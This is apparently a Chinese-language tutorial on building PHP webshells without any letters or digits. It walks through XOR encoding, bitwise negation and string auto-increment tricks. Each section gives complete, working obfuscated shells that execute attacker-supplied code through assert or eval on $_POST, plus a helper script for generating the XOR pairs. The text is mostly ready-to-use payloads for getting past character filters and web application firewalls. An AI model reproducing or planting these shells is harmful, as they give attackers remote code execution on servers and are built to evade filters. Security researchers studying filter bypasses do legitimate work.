构造无数字字母的webshell
1.异或
可以看到将A和?进行异或可以得到~
异或的过程就是将字符转化为ascii,再变为二进制进行异或
这里就是将"A"的Ascii码的二进制与"?"的Ascii码的二进制进行异或得到一个新的二进制,在变为Ascii码,最后在变为字符,也就是~
首先我们实现构造assert($_POST[_]);
<?php
for ($i=0; $i < 256; $i++) {
for ($j=0; $j < 256; $j++) {
if(chr($i ^ $j) == 'a'){
echo(urlencode(chr($i)) . " " . urlencode(chr($j)));
echo "\n";
}
}
}
//对于任何一个字符,我们都可以用这段php代码生成,只需要把a换成你需要的字符就可以了具体情况具体构造
?>
以此类推,最后得到webshell
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
记住不能把以上代码保存成php文件直接post,因为其中包含了不可见字符,因为是用url加密过的,,直接放在php文件里面无法解析
<?php
$a = ("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");//_POST
eval($$a[_]);
?>
//"`{{{"^"?<>/" _GET的构造
这种构造是直接在php代码上进行,也是可以的
2.取反
对于取反我没有写出脚本来实现定点赋值,就直接贴几个其他大佬的shell了
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
?>
三.变量自增
‘a’++ => ‘b’,‘b’++ => ‘c’
根据字母之间的ascii码的关系,知道一个a就可以得到a-z中的所有字符
下面就是考虑如何得到a
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
<?php
echo(''.[]);
?>
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>
参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://blog.csdn.net/weixin_42665043/article/details/82142242